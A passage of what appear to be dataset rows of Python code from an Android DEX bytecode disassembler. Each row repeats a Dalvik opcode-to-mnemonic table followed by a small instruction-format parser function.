(0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT21H(buffer, dex_object, pc_point, offset): v, = struct.unpack_from("H", buffer, 2) if ord(buffer[1]) == 0x19: arg1 = "@%d000000000000" % v else: arg1 = "@%d0000" % v return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % ord(buffer[1]), arg1)
null
17,375
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT21S(buffer, dex_object, pc_point, offset): v, = struct.unpack_from("H", buffer, 2) arg1 = "%d" % v return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % ord(buffer[1]), arg1)
null
17,376
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 